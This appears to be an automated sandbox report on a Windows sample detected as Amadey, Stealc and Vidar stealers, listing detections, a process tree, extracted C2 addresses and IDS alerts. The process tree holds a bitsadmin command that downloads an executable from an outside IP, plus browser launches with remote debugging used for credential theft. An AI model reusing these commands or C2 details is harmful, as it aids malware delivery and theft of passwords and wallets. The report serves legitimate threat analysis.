Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1564672
MD5:	84394fd23d755be3a32a02161f23db10
SHA1:	654e52be3172f400c9245a1acab7ee6cc5a3fde5
SHA256:	ac3938d2065850f0112e55713c14616a3dba7ad5393a9db44127f61a747d5686
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Sigma detected: Suspicious Process Parents

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to download files via bitsadmin

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2020 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 84394FD23D755BE3A32A02161F23DB10)

chrome.exe (PID: 7564 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7792 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 --field-trial-handle=2100,i,3394978632437486515,13494455845462171770,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8736 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8952 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2352 --field-trial-handle=2252,i,14689165809739536142,13499109782927438329,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 8224 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGCFIIEBKEG.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

msedge.exe (PID: 8980 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 6828 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8224 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6040 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

conhost.exe (PID: 7712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsGCFIIEBKEG.exe (PID: 6724 cmdline: "C:\Users\user\DocumentsGCFIIEBKEG.exe" MD5: 2FF2F4CB39A9D0E4C3270991B067FC0D)

skotes.exe (PID: 3160 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 2FF2F4CB39A9D0E4C3270991B067FC0D)

identity_helper.exe (PID: 8228 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6040 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 8872 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6728 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8852 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6968 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7948 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7312 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 8632 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 2FF2F4CB39A9D0E4C3270991B067FC0D)

tvtC9D3.exe (PID: 7980 cmdline: "C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe" MD5: 56944BE08ED3307C498123514956095B)

PING.EXE (PID: 8884 cmdline: ping -n 1 8.8.8.8 MD5: B3624DD758CCECF93A1226CEF252CA12)

conhost.exe (PID: 7712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

bitsadmin.exe (PID: 880 cmdline: bitsadmin /transfer "DownloadUnRAR" /priority high "http://194.15.46.189/UnRAR.exe" "C:\Users\user\AppData\Local\Temp\UnRAR.exe" MD5: F57A03FA0E654B393BB078D1C60695F3)

conhost.exe (PID: 6112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001A.00000003.2706955023.0000000005430000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.3420805105.0000000000C51000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000002.2709127901.0000000000DC1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2677567170.0000000000461000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2168005670.0000000004E50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.3292431659.0000000005330000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.2747558518.0000000000C51000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000003.2668565820.00000000055A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2679757495.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 2020	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2020	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2020	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2020	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
28.2.skotes.exe.c50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.2.skotes.exe.c50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.DocumentsGCFIIEBKEG.exe.dc0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Process Parents

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine|base64offset|contains: }}, Image: C:\Windows\System32\conhost.exe, NewProcessName: C:\Windows\System32\conhost.exe, OriginalFileName: C:\Windows\System32\conhost.exe, ParentCommandLine: bitsadmin /transfer "DownloadUnRAR" /priority high "http://194.15.46.189/UnRAR.exe" "C:\Users\user\AppData\Local\Temp\UnRAR.exe", ParentImage: C:\Windows\SysWOW64\bitsadmin.exe, ParentProcessId: 880, ParentProcessName: bitsadmin.exe, ProcessCommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, ProcessId: 6112, ProcessName: conhost.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 2020, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7564, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T17:26:15.110888+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50094	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T17:24:14.727920+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49716	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T17:24:14.405489+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49716	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T17:24:15.062495+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49716	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T17:24:16.977663+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49716	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T17:24:15.388252+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49716	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T17:24:13.849463+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49716	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T17:26:06.675073+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50090	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T17:26:13.758403+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50091	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T17:26:11.159107+0100	2803305	3	Unknown Traffic	192.168.2.6	50092	31.41.244.11	80	TCP
2024-11-28T17:26:16.569792+0100	2803305	3	Unknown Traffic	192.168.2.6	50095	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T17:24:17.815713+0100	2803304	3	Unknown Traffic	192.168.2.6	49716	185.215.113.206	80	TCP
2024-11-28T17:24:40.507853+0100	2803304	3	Unknown Traffic	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-28T17:24:42.548505+0100	2803304	3	Unknown Traffic	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-28T17:24:43.980384+0100	2803304	3	Unknown Traffic	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-28T17:24:45.189568+0100	2803304	3	Unknown Traffic	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-28T17:24:48.843362+0100	2803304	3	Unknown Traffic	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-28T17:24:49.951637+0100	2803304	3	Unknown Traffic	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-28T17:24:55.919295+0100	2803304	3	Unknown Traffic	192.168.2.6	49926	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dllBE	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dll:J	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllTE	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpIEBKEG.exeata;	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dll:H	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php4%	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001A.00000003.2706955023.0000000005430000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.2679757495.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C966C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C966C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.5:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.75:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.234.120.54:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.82.9:443 -> 192.168.2.6:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.82.9:443 -> 192.168.2.6:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50089 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2714408648.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2714408648.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Code function: 30_2_004068D4 FindFirstFileW,FindClose,	30_2_004068D4
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Code function: 30_2_00405C83 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	30_2_00405C83
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Code function: 30_2_00402930 FindFirstFileW,	30_2_00402930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49716 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49716 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49716
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49716 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49716
